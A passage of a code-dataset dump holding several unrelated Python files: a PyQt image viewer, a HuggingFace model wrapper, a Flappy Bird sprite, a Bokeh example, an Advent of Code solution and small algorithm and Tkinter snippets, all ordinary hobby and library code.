vertices))\n","repo_name":"zzzdnk/ud-carnd-project4","sub_path":"camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1823166634","text":"import sys\nfrom PyQt5.QtCore import Qt, QPoint, QEvent, QRectF, QObject, pyqtSignal, pyqtSlot\nfrom PyQt5.QtGui import QImage, QPainter, QPen, QPixmap\nfrom PyQt5.QtWidgets import QApplication, QFileDialog, QGraphicsScene, QGraphicsView, QLabel, QMainWindow, QPushButton, QTextEdit, QVBoxLayout, QWidget\nimport numpy as np\nimport torch\nimport matplotlib.pyplot as plt\nimport cv2\n\nclass SAM(QObject):\n @pyqtSlot(int, int)\n def predict(self, x, y):\n print(f\"Predicting with x={x} and y={y}...\")\n return x + y\n\nclass ImageApp(QMainWindow):\n my_signal = pyqtSignal(int, int)\n def __init__(self):\n super().__init__()\n\n self.sam = SAM()\n self.my_signal.connect(self.sam.predict)\n self.initUI()\n\n def initUI(self):\n self.setWindowTitle('Image Viewer')\n\n central_widget = QWidget() # 创建中央窗口\n self.setCentralWidget(central_widget) # 设置中央窗口\n\n layout = QVBoxLayout(central_widget) # 创建垂直布局\n\n self.graphics_view = QGraphicsView(self) # 创建图形视图\n self.graphics_view.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) # 设置水平滚动条不可见\n self.graphics_view.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff) # 设置垂直滚动条不可见\n self.graphics_view.setAlignment(Qt.AlignCenter) # 设置图像居中\n layout.addWidget(self.graphics_view, stretch=5) # 添加图形视图到布局中,高度比例为5:1\n\n self.text_edit = QTextEdit(self) # 创建文本框\n self.text_edit.setMinimumHeight(50) # 设置最小高度\n self.text_edit.setMaximumHeight(150) # 设置最大高度\n self.text_edit.setReadOnly(True) # 设置只读\n layout.addWidget(self.text_edit, stretch=1) # 添加文本框到布局中,高度比例为5:1\n\n open_button = QPushButton('Open Image', self) # 创建打开图像按钮\n open_button.clicked.connect(self.open_image) # 绑定打开图像函数\n layout.addWidget(open_button) # 添加按钮到布局中\n\n self.image = QImage() # 创建图像对象\n self.image_path = None # 初始化图像路径为空\n\n self.show() # 显示窗口\n\n def predict(self, pos_x, pos_y):\n a = self.my_signal.emit(pos_x, pos_y)\n print(\"test result: \", a)\n # color = np.concatenate([np.random.random(3), np.array([0.6])], axis=0)\n # h, w = mask.shape[-2:]\n # mask_image = mask.reshape(h, w, 1) * color.reshape(1, 1, -1)\n # print(\"result: \", mask_image)\n\n\n def resize_image(self):\n if not self.image.isNull():\n pixmap = QPixmap.fromImage(self.image)\n scaled_pixmap = pixmap.scaled(self.graphics_view.size(), Qt.IgnoreAspectRatio, Qt.SmoothTransformation)\n scene = QGraphicsScene(self)\n scene.addPixmap(scaled_pixmap)\n self.graphics_view.setScene(scene)\n self.graphics_view.setSceneRect(QRectF(scaled_pixmap.rect()))\n\n\n def resizeEvent(self, event):\n super().resizeEvent(event)\n self.resize_image()\n\n def open_image(self):\n options = QFileDialog.Options()\n options |= QFileDialog.ReadOnly\n file_name, _ = QFileDialog.getOpenFileName(self, 'Open Image', '', 'Images (*.png *.xpm *.jpg *.bmp);;All Files (*)', options=options)\n if file_name:\n self.image_path = file_name\n self.image.load(file_name)\n pixmap = QPixmap.fromImage(self.image)\n scene = QGraphicsScene(self)\n scene.addPixmap(pixmap)\n self.graphics_view.setScene(scene)\n self.graphics_view.setRenderHint(QPainter.Antialiasing)\n self.graphics_view.setRenderHint(QPainter.SmoothPixmapTransform)\n self.graphics_view.setMouseTracking(True)\n self.graphics_view.viewport().installEventFilter(self)\n self.resize_image()\n\n\n\n def eventFilter(self, source, event):\n if source == self.graphics_view.viewport():\n if event.type() == QEvent.MouseMove: # QEvent.Type.MouseMove\n pos = event.pos()\n offset = self.graphics_view.mapToScene(QPoint(0, 0))\n scale_ratio_w = self.graphics_view.sceneRect().width() / self.image.width()\n scale_ratio_h = self.graphics_view.sceneRect().height() / self.image.height()\n img_pos = self.graphics_view.mapToScene(pos).toPoint()\n img_pos.setX((img_pos.x() - offset.x()) / scale_ratio_w)\n img_pos.setY((img_pos.y() - offset.y()) / scale_ratio_h)\n\n prompt_pos =np.array([img_pos.x(), img_pos.y()]) \n\n self.text_edit.setText(f'Mouse position: ({prompt_pos[0]}, {prompt_pos[1]})')\n self.predict(prompt_pos[0], prompt_pos[1])\n elif event.type() == QEvent.MouseButtonPress: # QEvent.Type.MouseButtonPress\n if self.image_path:\n # 获取缩放比例\n pixmap = QPixmap.fromImage(self.image)\n scene = QGraphicsScene(self)\n scene.addPixmap(pixmap)\n self.graphics_view.setScene(scene)\n self.resize_image()\n\n offset = self.graphics_view.mapToScene(QPoint(0, 0))\n scale_ratio_w = self.graphics_view.sceneRect().width() / self.image.width()\n scale_ratio_h = self.graphics_view.sceneRect().height() / self.image.height()\n\n # 将鼠标点击的位置映射回原始图像的坐标\n # 获取缩放比例\n img_pos = self.graphics_view.mapToScene(event.pos()).toPoint()\n img_pos.setX((img_pos.x() - offset.x()) / scale_ratio_w)\n img_pos.setY((img_pos.y() - offset.y()) / scale_ratio_h)\n\n\n painter = QPainter(self.image)\n painter.setPen(QPen(Qt.red, 3, Qt.SolidLine))\n painter.drawPolygon(img_pos, img_pos + QPoint(10, 0), img_pos + QPoint(5, 10), img_pos - QPoint(5, 10), img_pos - QPoint(10, 0))\n painter.end()\n \n return super().eventFilter(source, event)\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = ImageApp()\n sys.exit(app.exec_())","repo_name":"Vastera/segment-anything","sub_path":"notebooks/pyqt_test.py","file_name":"pyqt_test.py","file_ext":"py","file_size_in_byte":6334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"40986938679","text":"\"\"\"Huggingface model.\"\"\"\nimport json\nfrom pathlib import Path\nfrom typing import Any, Dict, List, Tuple, Union, cast\n\nimport torch\nfrom transformers import (\n AutoModelForCausalLM,\n AutoModelForSeq2SeqLM,\n AutoTokenizer,\n BloomForCausalLM,\n GPT2LMHeadModel,\n GPTJForCausalLM,\n GPTNeoForCausalLM,\n GPTNeoXForCausalLM,\n OPTForCausalLM,\n PreTrainedModel,\n PreTrainedTokenizer,\n)\n\nfrom manifest.api.models.model import Model\n\nMODEL_REGISTRY = {\n \"EleutherAI/gpt-neo-125M\": GPTNeoForCausalLM,\n \"EleutherAI/gpt-neo-1.3B\": GPTNeoForCausalLM,\n \"EleutherAI/gpt-neo-2.7B\": GPTNeoForCausalLM,\n \"EleutherAI/gpt-j-6B\": GPTJForCausalLM,\n \"EleutherAI/gpt-neox-20b\": GPTNeoXForCausalLM,\n \"facebook/opt-125m\": OPTForCausalLM,\n \"facebook/opt-350m\": OPTForCausalLM,\n \"Salesforce/codegen-2B-mono\": AutoModelForCausalLM,\n \"Salesforce/codegen-6B-mono\": AutoModelForCausalLM,\n \"facebook/opt-1.3b\": OPTForCausalLM,\n \"facebook/opt-2.7b\": OPTForCausalLM,\n \"facebook/opt-6.7b\": OPTForCausalLM,\n \"facebook/opt-13b\": OPTForCausalLM,\n \"facebook/opt-30b\": OPTForCausalLM,\n \"gpt2\": GPT2LMHeadModel,\n \"bigscience/bloom-560m\": BloomForCausalLM,\n \"bigscience/bloom-1b7\": BloomForCausalLM,\n \"bigscience/bloom-3b\": BloomForCausalLM,\n \"bigscience/bloom-7b1\": BloomForCausalLM,\n \"bigscience/bloom\": AutoModelForCausalLM,\n \"bigscience/T0pp\": AutoModelForSeq2SeqLM,\n \"bigscience/T0_3B\": AutoModelForSeq2SeqLM,\n \"google/t5-l-lm-adapt\": AutoModelForSeq2SeqLM, # 800M\n \"google/t5-xl-lm-adapt\": AutoModelForSeq2SeqLM, # 3B\n \"google/t5-xxl-lm-adapt\": AutoModelForSeq2SeqLM, # 11B\n \"google/t5-v1_1-l\": AutoModelForSeq2SeqLM, # 800M\n \"google/t5-v1_1-xl\": AutoModelForSeq2SeqLM, # 3B\n \"google/t5-v1_1-xxl\": AutoModelForSeq2SeqLM, # 11B\n \"google/flan-t5-l\": AutoModelForSeq2SeqLM, # 800M\n \"google/flan-t5-xl\": AutoModelForSeq2SeqLM, # 3B\n \"google/flan-t5-xxl\": AutoModelForSeq2SeqLM, # 11B\n}\n\n\ndef get_max_memory(gpu_reduction: float) -> Dict[int, str]:\n \"\"\"Get max memory in GB times reduction.\"\"\"\n free_in_gb = int(torch.cuda.mem_get_info()[0] / 1024**3) # type: ignore\n max_mem = f\"{int(gpu_reduction*free_in_gb)}GB\"\n\n n_gpus = torch.cuda.device_count()\n max_mem_dict = {i: max_mem for i in range(n_gpus)}\n return max_mem_dict\n\n\nclass Pipeline:\n \"\"\"\n Custom Pipeline.\n\n HF pipelines do not handle devices well in multi-gpu setting.\n Create our own generation pipeline.\n \"\"\"\n\n def __init__(\n self,\n model: PreTrainedModel,\n tokenizer: PreTrainedTokenizer,\n device: int = None,\n bitsandbytes: bool = False,\n ):\n \"\"\"Initialize.\"\"\"\n # Use to turn off sampling\n # https://github.com/TimDettmers/bitsandbytes/issues/42\n self.bitsandbytes = bitsandbytes\n self.model = model\n config = model.config # type: ignore\n # Used for GPT\n self.max_length = getattr(config, \"max_position_embeddings\", None)\n if self.max_length is None:\n # Used for Bloom\n self.max_length = getattr(config, \"seq_length\", None)\n if self.max_length is None:\n # Used for T0\n self.max_length = getattr(config, \"d_model\", None)\n if self.max_length is None:\n # Default\n self.max_length = 2048\n\n print(f\"Usings max_length: {self.max_length}\")\n\n self.tokenizer = tokenizer\n # self.device = device\n # With bits and bytes, do not want to place inputs on any device\n # if self.device:\n self.device = (\n torch.device(\"cpu\")\n if (device == -1 or not torch.cuda.is_available())\n else torch.device(f\"cuda:{device}\")\n )\n print(\"HERE\", self.device)\n\n def __call__(\n self, text: str, **kwargs: Any\n ) -> List[Dict[str, Union[str, List[float]]]]:\n \"\"\"Generate from text.\n\n Args:\n text: text to generate.\n\n Returns:\n generated text.\n \"\"\"\n # If text is longer than max model length, we reduce max input length to ensure\n # the user indicated generation tokens is preserved.\n max_input_length = kwargs.get(\"max_input_length\")\n encoded_prompt = self.tokenizer(\n text, max_length=max_input_length, truncation=True, return_tensors=\"pt\"\n )\n encoded_prompt = encoded_prompt.to(self.device)\n output_dict = self.model.generate( # type: ignore\n **encoded_prompt,\n max_length=kwargs.get(\"max_length\"),\n temperature=kwargs.get(\"temperature\"),\n top_k=kwargs.get(\"top_k\"),\n top_p=kwargs.get(\"top_p\"),\n repetition_penalty=kwargs.get(\"repetition_penalty\"),\n do_sample=kwargs.get(\"do_sample\") if not self.bitsandbytes else False,\n eos_token_id=self.tokenizer.eos_token_id,\n pad_token_id=self.tokenizer.pad_token_id,\n num_return_sequences=kwargs.get(\"num_return_sequences\"),\n output_scores=True,\n return_dict_in_generate=True,\n )\n # logits/scores from the output always correspond to the generated tokens.\n # shape (num_tokens, num_return_sequences, vocab_size)\n logits = torch.stack(output_dict.scores)\n logits = torch.nn.functional.log_softmax(logits, dim=-1)\n num_generated_tokens = logits.shape[0]\n generated_sequences = [\n {\n \"generated_text\": self.tokenizer.decode(\n output_seq[-num_generated_tokens:], skip_special_tokens=True\n ),\n \"logprobs\": logits[\n range(num_generated_tokens), i, output_seq[-num_generated_tokens:]\n ].tolist(),\n }\n for i, output_seq in enumerate(output_dict.sequences)\n ]\n return generated_sequences\n\n\nclass HuggingFaceModel(Model):\n \"\"\"Huggingface model.\"\"\"\n\n def __init__(\n self,\n model_name_or_path: str,\n model_config: str,\n cache_dir: str,\n device: int,\n use_accelerate: bool,\n use_parallelize: bool,\n use_bitsandbytes: bool,\n perc_max_gpu_mem_red: float,\n use_fp16: bool,\n ):\n \"\"\"\n Initialize model.\n\n All arguments will be passed in the request from Manifest.\n\n Args:\n model_name_or_path: model name string.\n model_config: model config string.\n cache_dir: cache directory for model.\n device: device to use for model.\n use_accelerate: whether to use accelerate for multi-gpu inference.\n use_parallelize: use HF default parallelize\n use_bitsandbytes: use HF bits and bytes\n perc_max_gpu_mem_red: percent max memory reduction in accelerate\n use_fp16: use fp16 for model weights.\n \"\"\"\n if use_accelerate and use_parallelize:\n raise ValueError(\"Cannot use both accelerate and parallelize\")\n # Check if providing path\n self.model_path = model_name_or_path\n if Path(self.model_path).exists() and Path(self.model_path).is_dir():\n # Try to find config\n if (Path(self.model_path) / \"config.json\").exists():\n config = json.load(open(Path(self.model_path) / \"config.json\"))\n model_name_or_path = config[\"_name_or_path\"]\n self.model_name = model_name_or_path\n print(\"Model Name:\", self.model_name, \"Model Path:\", self.model_path)\n try:\n tokenizer = AutoTokenizer.from_pretrained(\n self.model_name, truncation_side=\"left\"\n )\n except ValueError:\n tokenizer = AutoTokenizer.from_pretrained(\n self.model_name, truncation_side=\"left\", use_fast=False\n )\n dtype = torch.float16 if use_fp16 else \"auto\"\n if use_bitsandbytes:\n print(\"WARNING!!! Cannot use sampling with bitsandbytes.\")\n max_memory = get_max_memory(perc_max_gpu_mem_red)\n print(max_memory)\n model = MODEL_REGISTRY[self.model_name].from_pretrained( # type: ignore\n self.model_path,\n cache_dir=cache_dir,\n load_in_8bit=True,\n device_map=\"auto\",\n max_memory=max_memory,\n )\n else:\n try:\n # Try to explicitely find a fp16 copy (gpt-j-6B for example)\n model = MODEL_REGISTRY[self.model_name].from_pretrained( # type: ignore\n self.model_path,\n cache_dir=cache_dir,\n revision=\"float16\",\n torch_dtype=torch.float16,\n )\n except Exception:\n model = MODEL_REGISTRY[self.model_name].from_pretrained( # type: ignore\n self.model_path, cache_dir=cache_dir, torch_dtype=dtype\n )\n model.eval()\n print(f\"Loaded Model DType {model.dtype}\")\n\n self.is_encdec = model.config.is_encoder_decoder\n if not self.is_encdec:\n tokenizer.pad_token = tokenizer.eos_token\n\n if not use_bitsandbytes:\n if use_accelerate:\n self._dispatch_accelerate_model(model, perc_max_gpu_mem_red)\n device = 0\n elif use_parallelize:\n model.parallelize()\n device = 0\n else:\n if device > -1:\n torch_device = (\n torch.device(\"cpu\")\n if (device == -1 or not torch.cuda.is_available())\n else torch.device(f\"cuda:{device}\")\n )\n print(\"T\", torch_device)\n model = model.to(torch_device) # type: ignore\n self.pipeline = Pipeline( # type: ignore\n model=model,\n tokenizer=tokenizer,\n device=device,\n bitsandbytes=use_bitsandbytes,\n )\n # Autogregressive models generate the input, too\n self.returns_input = not self.is_encdec\n\n def get_init_params(self) -> Dict:\n \"\"\"Return init params to determine what model is being used.\"\"\"\n return {\"model_name\": self.model_name, \"model_path\": self.model_path}\n\n def _dispatch_accelerate_model(\n self, model: PreTrainedModel, perc_max_gpu_mem_red: float\n ) -> None:\n \"\"\"\n Load model with accelerate.\n\n Adapted from https://colab.research.google.com/drive/14wnxMvD9zsiBQo2FtT\n pxn6w2cpXCcb-7#scrollTo=y8Ne7jJdaF9F&uniqifier=1\n\n Args:\n model: loaded hugging face model\n perc_max_gpu_mem_red: percent memory reduction\n \"\"\"\n from accelerate import dispatch_model, infer_auto_device_map\n from accelerate.utils.modeling import get_max_memory\n\n model.tie_weights() # type: ignore\n # Get the model where we can infer devices from\n if hasattr(model, \"model\"):\n # OPT\n main_model = model.model # type: ignore\n model_getter = \"model.\"\n else:\n # Eleuther Neo and J\n main_model = model\n model_getter = \"\"\n # Decrease max mem\n max_memory = {\n k: int(perc_max_gpu_mem_red * v) for k, v in get_max_memory().items()\n }\n raw_device_map = infer_auto_device_map(\n main_model,\n max_memory=max_memory,\n no_split_module_classes=[\n \"OPTDecoderLayer\",\n \"GPTNeoBlock\",\n \"GPTJBlock\",\n \"GPTNeoXLayer\",\n \"T5Block\",\n ],\n dtype=model.dtype, # type: ignore\n )\n # Hacky fix for Eleuther getting the \"weight\" of embeddings\n device_map = {}\n for k, v in raw_device_map.items():\n if k in {\"wte\", \"wpe\"}:\n device_map[f\"{model_getter}{k}.weight\"] = v\n else:\n device_map[f\"{model_getter}{k}\"] = v\n # For OPT models\n if \"lm_head\" not in device_map:\n try:\n device_map[\"lm_head\"] = max(device_map.values())\n except TypeError:\n device_map[\"lm_head\"] = \"cpu\"\n print(\"Device Map\", device_map)\n dispatch_model(model, device_map=device_map)\n return\n\n @torch.no_grad()\n def generate(self, prompt: str, **kwargs: Any) -> List[Tuple[str, float]]:\n \"\"\"\n Generate the prompt from model.\n\n Outputs must be generated text and score, not including prompt.\n\n Args:\n prompt: promt to generate from.\n\n Returns:\n list of generated text (list of length 1 for 1 generation).\n \"\"\"\n num_return = kwargs.get(\"n\")\n max_input_len = self.pipeline.max_length - kwargs.get(\"max_tokens\")\n # Add tokens for length\n encoded_prompt_with_special = self.pipeline.tokenizer.encode(\n prompt, max_length=max_input_len, truncation=True\n )\n result = self.pipeline(\n prompt,\n max_input_length=max_input_len,\n max_length=kwargs.get(\"max_tokens\") + len(encoded_prompt_with_special),\n temperature=kwargs.get(\"temperature\"),\n repetition_penalty=kwargs.get(\"repetition_penalty\"),\n top_k=kwargs.get(\"top_k\"),\n top_p=kwargs.get(\"top_p\"),\n do_sample=kwargs.get(\"do_sample\"),\n num_return_sequences=num_return,\n )\n if num_return == 1:\n final_results = [\n (\n cast(str, result[0][\"generated_text\"]),\n sum(cast(List[float], result[0][\"logprobs\"])),\n )\n ]\n else:\n final_results = [\n (cast(str, r[\"generated_text\"]), sum(cast(List[float], r[\"logprobs\"])))\n for r in result\n ]\n return final_results\n\n @torch.no_grad()\n def logits_scoring(\n self, prompt: str, gold_choices: List[str], **kwargs: Any\n ) -> Tuple[str, float]:\n \"\"\"\n Given the prompt and gold choices, choose the best choice with max logits.\n\n Args:\n prompt: promt to generate from.\n gold_choices: list of choices to choose from.\n\n Returns:\n the returned gold choice\n \"\"\"\n max_input_len = self.pipeline.max_length\n if self.is_encdec:\n # Adapted from https://github.com/bigscience-workshop/t-zero\n tokenized_inputs = self.pipeline.tokenizer(\n prompt,\n padding=\"longest\",\n max_length=max_input_len,\n truncation=True,\n add_special_tokens=False,\n )\n # Get max target length\n max_target_len = max(\n [\n len(self.pipeline.tokenizer(ans_choi)[\"input_ids\"])\n for ans_choi in gold_choices\n ]\n )\n tokenized_targets = [\n self.pipeline.tokenizer(\n ans_choi,\n # padding is on the right here.\n padding=\"max_length\",\n max_length=min(max_target_len, max_input_len),\n truncation=True,\n )\n for ans_choi in gold_choices\n ]\n\n # Repeat input ids for each choice to form a batch\n features = {\n k: [tokenized_inputs[k] for _ in range(len(gold_choices))]\n for k in tokenized_inputs.keys()\n }\n # Add choice tokens + mask\n features[\"labels\"] = [\n tokenized_targets[k][\"input_ids\"] for k in range(len(gold_choices))\n ]\n features[\"labels_attention_mask\"] = [\n tokenized_targets[k][\"attention_mask\"] for k in range(len(gold_choices))\n ]\n else:\n tokenized_inputs = self.pipeline.tokenizer(\n prompt,\n max_length=max_input_len,\n truncation=True,\n padding=False,\n add_special_tokens=False,\n )\n tokenized_targets = [\n self.pipeline.tokenizer(\n # Add starting whitespace fo gpt\n ans_choi,\n max_length=max_input_len,\n truncation=True,\n padding=False,\n add_special_tokens=False,\n )\n for ans_choi in gold_choices\n ]\n features = {\n k: [] for k in list(tokenized_inputs.keys()) + [\"labels_attention_mask\"]\n }\n max_effective_input_len = 0\n for tokenized_targ in tokenized_targets:\n for k in tokenized_inputs.keys():\n # Make sure to leave room for the outputs\n features[k].append(\n tokenized_inputs[k][\n : min(\n len(tokenized_inputs[k]),\n max_input_len - len(tokenized_targ[k]),\n )\n ]\n + tokenized_targ[k]\n )\n max_effective_input_len = max(\n max_effective_input_len, len(features[k][-1])\n )\n # Manuall add labels_attention_mask\n features[\"labels_attention_mask\"].append(\n [0]\n * min(\n len(tokenized_inputs[\"input_ids\"]),\n max_input_len - len(tokenized_targ[\"input_ids\"]),\n )\n + [1] * len(tokenized_targ[\"input_ids\"])\n )\n\n # Manually pad to max effective length\n for k in features.keys():\n for i in range(len(features[k])):\n if k == \"input_ids\":\n features[k][i] += [self.pipeline.tokenizer.pad_token_id] * (\n max_effective_input_len - len(features[k][i])\n )\n elif k in [\"attention_mask\", \"labels_attention_mask\"]:\n features[k][i] += [0] * (\n max_effective_input_len - len(features[k][i])\n )\n else:\n raise ValueError(f\"Unknown key {k} for decoder only models\")\n\n features[\"labels\"] = features[\"input_ids\"]\n # Convert to tensors\n tensor_features = {}\n for k in features:\n tensor_features[k] = torch.LongTensor(features[k]).to(self.pipeline.device)\n\n if self.is_encdec:\n stacked_logits = self.pipeline.model( # type: ignore\n input_ids=tensor_features[\"input_ids\"],\n attention_mask=tensor_features[\"attention_mask\"],\n labels=tensor_features[\"labels\"],\n ).logits\n # Adapted from https://github.com/bigscience-workshop/t-zero\n masked_log_probs = tensor_features[\"labels_attention_mask\"].unsqueeze(\n -1\n ) * torch.log_softmax(stacked_logits, dim=-1)\n seq_token_log_probs = torch.gather(\n masked_log_probs, -1, tensor_features[\"labels\"].unsqueeze(-1)\n )\n else:\n stacked_logits = self.pipeline.model( # type: ignore\n input_ids=tensor_features[\"input_ids\"],\n attention_mask=tensor_features[\"attention_mask\"],\n ).logits\n # For causal decoders, shift logts and labels\n labels_attention_mask = tensor_features[\"labels_attention_mask\"].unsqueeze(\n -1\n )[..., 1:, :]\n masked_log_probs = (\n labels_attention_mask.float()\n * torch.log_softmax(stacked_logits.float(), dim=-1)[..., :-1, :]\n )\n seq_token_log_probs = torch.gather(\n masked_log_probs, -1, tensor_features[\"labels\"][:, 1:].unsqueeze(-1)\n )\n seq_token_log_probs = seq_token_log_probs.squeeze(dim=-1)\n seq_log_prob = seq_token_log_probs.sum(dim=-1)\n # Averaging over output sequence length for GPT\n if not self.is_encdec:\n seq_log_prob = seq_log_prob * (1 / (seq_token_log_probs != 0).sum(dim=-1))\n prediction = seq_log_prob.argmax(dim=-1).item()\n return gold_choices[int(prediction)], seq_log_prob[int(prediction)].item()\n","repo_name":"Azure/app-service-linux-docs","sub_path":"HowTo/gRPC/OpenAI/LangChain/PyServer/venv/Lib/site-packages/manifest/api/models/huggingface.py","file_name":"huggingface.py","file_ext":"py","file_size_in_byte":20682,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"20"} +{"seq_id":"10359327489","text":"import pygame\n\nclass Bird(pygame.sprite.Sprite):\n\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n self.initialPosition = (x, y)\n self.images = []\n self.index = 0\n self.counter = 0\n for i in range(1,4):\n img = pygame.image.load(f'images/bird{i}.png')\n self.images.append(img)\n self.image = self.images[self.index]\n self.rect = self.image.get_rect()\n self.rect.center = (x, y)\n self.vel = 0\n self.flying = False\n self.gameOver = False\n self.pass_pipe = False\n self.score = 0\n\n def update(self):\n #gravity\n if self.flying:\n self.vel += 0.5\n if self.vel > 20:\n self.vel = 20 \n\n #update the bird position\n if self.rect.bottom < 912:\n self.rect.y += int(self.vel)\n else: #bird hit the ground - Gameover\n self.flying = False\n self.gameOver = True\n\n self.birdAnimation(5)\n else:\n self.image = pygame.transform.rotate(self.images[self.index], -90)\n\n #bird's jump function\n def jump(self):\n if self.gameOver == False:\n self.vel -= 10\n if self.vel < -10:\n self.vel = -10\n self.rect.y += int(self.vel)\n\n #Reset the bird\n def reset(self):\n self.index = 0\n self.counter = 0\n self.vel = 0\n self.rect.center = self.initialPosition\n self.flying = True\n self.gameOver = False\n \n #handle the animation\n def birdAnimation(self, flap_countdown):\n self.counter += 1\n\n if self.counter > flap_countdown:\n self.counter = 0\n self.index += 1\n self.index = self.index % 3\n self.image = self.images[self.index]\n \n self.image = pygame.transform.rotate(self.images[self.index], self.vel * -2)\n ","repo_name":"oscarvel821/flappyBirdAi","sub_path":"flappy_bird/bird.py","file_name":"bird.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7375633374","text":"from journal import Journal\nfrom bokeh.plotting import figure\nimport chartify\n\njournal = Journal('Example File')\n\njournal.append_h1('Bokeh Journal')\n\njournal.append_paragraph('Bokeh Journal is a tool to create HTML documents' +\n 'using python and bokeh. It currently supports:')\n\njournal.append_list('h1', \n 'h2', \n 'h3', \n 'ul (this for example)', \n 'p',\n 'a',\n 'br',\n 'and Bokeh plots')\n\nx = [1, 2, 3, 4, 5]\ny = [6, 7, 2, 4, 5]\n\np = figure(title=\"simple line example\", \n x_axis_label='x', \n y_axis_label='y')\np.line(x, y, legend=\"Temp.\", line_width=2)\njournal.append_bokeh(p)\n\njournal.append_paragraph('It also supports Spotify\\'s Chartify library')\n\n# From https://github.com/spotify/chartify/blob/master/examples/Examples.ipynb\ndata = chartify.examples.example_data()\n\nch = chartify.Chart(blank_labels=True, x_axis_type='datetime')\nch.plot.scatter(\n data_frame=data,\n x_column='date',\n y_column='unit_price')\nch.set_title(\"Scatterplot\")\nch.set_subtitle(\"Plot two numeric values.\")\n\njournal.append_chartify(ch)\n\njournal.show()","repo_name":"ryanhausen/bokehjournal","sub_path":"bokehjournal/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"16222613067","text":"import sys\nn = int(sys.stdin.readline())\np = []\nfor i in range(n):\n p.append(list(map(int,sys.stdin.readline().split())))\n\nfor i in range(1,len(p)):\n #i번째 집을 빨강으로 칠했을 때의 최솟값\n p[i][0] = min(p[i - 1][1], p[i - 1][2]) + p[i][0]\n # i번째 집을 초록으로 칠했을 때의 최솟값\n p[i][1] = min(p[i - 1][0], p[i - 1][2]) + p[i][1]\n # i번째 집을 파랑으로 칠했을 때의 최솟값\n p[i][2] = min(p[i - 1][0], p[i - 1][1]) + p[i][2]\n\nprint(min(p[n - 1][0], p[n - 1][1], p[n - 1][2]))","repo_name":"younyikim/Algorithm-Study-2021","sub_path":"ataraxiady/week04(step14)/step14/1149.py","file_name":"1149.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31685628659","text":"\nfrom argparse import ArgumentParser, FileType\nimport re\n\nPARENT_BAG_RE = re.compile('^(.*?)bags contain')\nCHILD_BAG_RE = re.compile('(?:contain|,) (\\d{1,2})([a-zA-Z0-9_ ]*) (?:.|,)')\n\ndef create_dataset(lines):\n container = {}\n for line in lines:\n parent = PARENT_BAG_RE.findall(line)[0].strip()\n container[parent] = []\n for item in CHILD_BAG_RE.findall(line):\n container[parent].append((int(item[0]), item[1].strip()))\n return container\n\n\ndef look_for_value(dataset, search_bag):\n found_bags = []\n for key, values in dataset.items():\n for value in values:\n if value[1] == search_bag:\n found_bags.append(key)\n return found_bags\n\n\ndef assignment_1(args):\n search_bag = 'shiny gold'\n lines = [x.strip() for x in args.inputfile]\n dataset = create_dataset(lines)\n search_for_bags = [search_bag]\n bags_with_search_bag = []\n while search_for_bags:\n total_results = []\n for bag in search_for_bags:\n results = look_for_value(dataset, bag)\n bags_with_search_bag = list(set(bags_with_search_bag + results))\n total_results = total_results + results\n search_for_bags = total_results\n\n print(len(bags_with_search_bag))\n\n\ndef recursive_product_seeker(dataset, search_bag):\n l = []\n for item in dataset[search_bag]:\n if dataset[item[1]]:\n l.append(item[0] * recursive_product_seeker(dataset, item[1]) + item[0])\n else:\n l.append(item[0])\n return sum(l)\n\n\ndef assignment_2(args):\n search_bag = 'shiny gold'\n lines = [x.strip() for x in args.inputfile]\n dataset = create_dataset(lines)\n outcome = recursive_product_seeker(dataset, search_bag)\n print(outcome)\n\n #print(test)\n\ndef cli():\n parser = ArgumentParser()\n parser.add_argument('--inputfile', type=FileType(\"r\"))\n args = parser.parse_args()\n return args\n\n\n\nassignment_1(cli())\n","repo_name":"PieterWiersma/advent2020","sub_path":"advent7.py","file_name":"advent7.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"42472778916","text":"class Labels:\n '''switch color label buttons / изменение цветов лэйблов и кнопок'''\n\n def on_focus_in(self, event): # если окно теряет фокус, закрываем окно\n if event.widget == self.vac_win:\n command = self.vac_win.destroy()\n\n def schedule_get(self): # показать/скрыть график работы\n if self.ivr_schedule.get():\n self.schedule = 1\n else:\n self.schedule = 0\n if self.address == 1 and self.snippet == 1 and self.schedule == 1: # если нажаты все галочки\n self.hideshow_info[\"bg\"] = \"#5ad136\" # меняем цвет лэйбла на зелёный\n self.hideshow_info[\"fg\"] = \"white\"\n else:\n self.hideshow_info[\"bg\"] = \"#d9feff\" # меняем цвет лэйбла на первоначальный\n self.hideshow_info[\"fg\"] = \"black\"\n\n def snippet_get(self): # показать/скрыть требования\n if self.ivr_snippet.get():\n self.snippet = 1\n else:\n self.snippet = 0\n if self.address == 1 and self.snippet == 1 and self.schedule == 1: # если нажаты все галочки\n self.hideshow_info[\"bg\"] = \"#5ad136\" # меняем цвет лэйбла на зелёный\n self.hideshow_info[\"fg\"] = \"white\"\n else:\n self.hideshow_info[\"bg\"] = \"#d9feff\" # меняем цвет лэйбла на первоначальный\n self.hideshow_info[\"fg\"] = \"black\"\n\n def address_get(self): # показать/скрыть адрес\n if self.ivr_address.get():\n self.address = 1\n else:\n self.address = 0\n if self.address == 1 and self.snippet == 1 and self.schedule == 1: # если нажаты все галочки\n self.hideshow_info[\"bg\"] = \"#5ad136\" # меняем цвет лэйбла на зелёный\n self.hideshow_info[\"fg\"] = \"white\"\n else:\n self.hideshow_info[\"bg\"] = \"#d9feff\" # меняем цвет лэйбла на первоначальный\n self.hideshow_info[\"fg\"] = \"black\"\n\n def salary_get(self):\n \"\"\"меняем цвет 